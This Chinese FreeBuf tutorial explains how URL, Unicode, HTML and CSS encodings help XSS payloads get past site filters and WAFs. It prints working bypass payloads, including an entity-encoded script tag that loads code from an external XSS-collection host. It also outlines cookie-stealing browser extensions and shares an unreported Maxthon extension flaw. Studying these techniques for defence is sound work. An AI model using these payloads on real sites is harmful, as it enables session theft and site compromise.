XSS的原理分析與解剖：第四章（編碼與繞過）

0×01前言

很抱歉，這第四章被我推了幾個月，今天是元旦難得有空，就把第四章寫下。我先把主要使用的編碼說下，介紹完會說下繞過。

本文建議與《雜談如何繞過WAF》一同閱讀。

0×02URL編碼

URL只允許用US-ASCII字符集中可列印的字元(0×20—0x7x)，其中某些字元在HTTP協議里有特殊的意義，所以有些也不能使用。這裡有個需要注意的，+加號代表URL編碼的空格，%20也是。

URL編碼最長見的是在用GET/POST傳輸時，順序是把字元改成%+ASCII兩位十六進位(先把字元串轉成ASCII編碼，然後再轉成十六進位)。

這個在編碼DOMXSS可能會用到，比如我上次說的

http://www.freebuf.com/articles/web/42727.html0×04節DOMXSS在chromemaxthonfirefox里對URL里的a=後面的位元組進行了URL進行編碼，只能在360瀏覽器里成功，這就是瀏覽器對URL進行了URL編碼。

0×03unicode編碼

Unicode有1114112個碼位，也就是說可以分配1114112個字元。Unicode編碼的字元以%u為前綴，後面是這個字元的十六進位unicode的碼點。

Unicode編碼之所以被本文提到，因為有的站點過濾了某些字元串的話，但是發現這個站點在後端驗證字元串的時候，識別unicode編碼，那我們就可以把我們的攻擊代碼來改成unicode編碼形式，就可以繞過站點的過濾機制了。

0×04HTML編碼

HTML編碼的存在就是讓他在代碼中和顯示中分開，避免錯誤。他的命名實體：構造是&加上希臘字母，字元編碼：構造是&#加十進位、十六進位ASCII碼或unicode字元編碼，而且瀏覽器解析的時候會先把html編碼解析再進行渲染。但是有個前提就是必須要在「值」里，比如屬性src里，但卻不能對src進行html編碼。不然瀏覽器無法正常的渲染。

例如：

<imgsrc=&#108;&#111;&#103;&#111;&#46;&#112;&#110;&#103;/>

可以正常顯示。

但是當你把src或者img進行html編碼就不行了，例如：

<img&#115;&#114;&#99;=&#108;&#111;&#103;&#111;&#46;&#112;&#110;&#103;/>

0×05 CSS編碼

這個不是太常用。就是/斜杠加上1-6位十六進位

之前在IE5之前都可以用來調用js時，這個編碼很有用。 現在大多都是用於CSS小圖標。

0×06 假設

網站檢測script標籤里的src值是否為網站(關鍵字有http&https&com&cn&net&&js)

那我們該怎麼繞過呢，看下面的實例代碼：

<scriptsrc="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#120;&#115;&#115;&#56;&#46;&#112;&#119;&#47;&#98;&#103;&#70;&#102;&#66;&#120;&#63;&#49;&#52;&#49;&#57;&#50;&#50;&#57;&#53;&#54;&#53;"></script>

打開審查元素——網路，我們成功的看到了我們的JS被載入了

XSS平台里也獲取到了。

0×06常見的繞過方式

<sCrIpt>alert(1)</script><script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript><scr<script>rip>alalertert</scr</script>rip>(需要利用waf的不完整性)<script>eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))</script>

標籤屬性="javascript:JS代碼"(只對支持js偽協議的屬性起作用)

<標籤on事件="js代碼">

<scriptwoaini>alert(123)</scriptwoaini>

瀏覽器下會把換行TAB符當成空格，把後面的字元當做屬性來解析

等等，還有很多，其實本章說的不是太多。乾乾貨也少的可憐。沒辦法我之前說的「雜談繞過WAF」里說的太詳細了，該說的都說了。我也不知道該說些什麼。看看下一節吧，還有些乾貨。XSS繞過方面網上的資料太多太多了。想要說一些別人沒說的很難。也有，只不過在http://www.freebuf.com/articles/web/54686.html里說完了…

0×07 插件安全

這節本是不屬於本章的，所以說這節我是特意拿出來的。也是在這裡我希望大家從此注意下瀏覽器插件方面的安全問題。

我之前在《雜談如何繞過WAF》一文里還有現在朋友交流的時候我也多次說過。

即使你網站做的再安全，WAF再怎麼完整。我利用插件照樣可以繞過。插件的有它的特殊性，也是這個特殊性成就了他的安全問題，那就是「跨域」。

我在里說下插件是如何渲染到頁面的：

用戶打開網站——發送數據包——伺服器響應並發送Response包——瀏覽器收到Response包——渲染(先渲染Response包，再渲染插件的代碼)

也就是說我在插件里寫了一段js，那麼用戶安裝後，凡是打開網站。瀏覽器渲染後，就可以獲取用戶的cookies。如果攻擊者事先有準備，還可以利用csrf攻擊。這裡我們大膽假設下：

假設1：攻擊者把XSS代碼封裝到插件里，上傳到瀏覽器插件下載網站(管理不嚴，管理員根本不可能一行一行代碼看)，上傳成功後。用戶下載，並安裝。那麼攻擊者就可以坐在電腦前，喝著咖啡，看著不斷刷新的xss數據流…

假設2：攻擊者擁有dedecms的csrf(可以添加管理員)，後面的和假設1一樣。當網站管理員不小心安裝或者使用了帶有插件瀏覽器，網站就會被攻擊者控制。有些人會問，幾率那麼小，怎麼可能跑到我身上。是不太可能跑到你身上，倒是有可能跑到其他站長身上，當你想想中國站長有多少時，相信你就會明白了

假設3：攻擊者擁有某個瀏覽器插件的XSC漏洞，再結合插件安全問題，就可以實現用戶打開某個網站，就會被不知不覺中安裝插件，有些人會說，有XSC我就直接執行任意代碼了，誰還蛋疼式的去安裝插件。如果攻擊者想隱蔽式的攻擊呢？而且控制電腦獲取cookies我想這個應該比直接安裝插件更加麻煩吧？當然攻擊者也可以兩個同時進行。

當然了，也有很多人會說，我安裝安全健康綠色無污染的插件不就不怕了嗎。

樓主說的十分有理，只不過你忽視了插件本身的安全問題，我之前所說的都是利用插件的特殊性來完成攻擊，可是我並沒有說插件本身的安全。

這時恐怕又有人質疑了，插件即使不安全，那也需要用戶輸入特殊的字元串里完成攻擊，你這不就是在自己插自己么。

我所說的插件安全問題指的不是這，而是控制插件的數據流。因為插件的安全問題本身就沒多大的利用價值，大多數時候都是自己插自己。

假設有一個在線翻譯的插件，滑鼠滑詞，自動翻譯。而這個技術就需要利用到AJAX，而AJAX利用的就是廠商提供的API，而API很多時候都在二級域名，安全性相對來說就比較低了。如果控制API了，那麼就可以控制API發送給插件的數據流，從而達到攻擊。

流程圖就是下面這樣：

黑客發現插件調取的API網站安全漏洞——重寫了發送的數據包——插件獲取被重寫API數據——解析並把惡意代碼渲染到頁面——攻擊成功。

當然了，不止API，有的插件還調用了外部的JS、CSS、iframe(HTML)等，我們也可以控制他們里來完成攻擊。

為了讓大家感到插件問題是時候注意下了，我放出一個小漏洞吧，之前在JSEC沙龍演示過的。危害不算太大，不過讓大家從此注意插件問題應該夠了。

遨遊瀏覽器漏洞打包.rar

雙擊ceshi.mxaddon文件就行了(需要安裝遨遊瀏覽器)。ceshi目錄里是源代碼，def.json是遨遊插件漏洞(打開遨遊插件管理頁面，就會彈窗。Test.js也就是我這節說的。當你打開任何網站的時候，他都會彈窗)。

誰想提交就提交吧，當然我相信這時候遨遊安全團隊已經看到並修復了。我就喜歡看一群黑客和修復漏洞人員互相比速度。相信這時有人開始罵我了。沒辦法，我就是不喜歡提交，任性。

[作者/Black-Hole，本文屬FreeBuf黑客與極客（FreeBuf.COM）原創文章獎勵計劃，未經許可禁止轉載]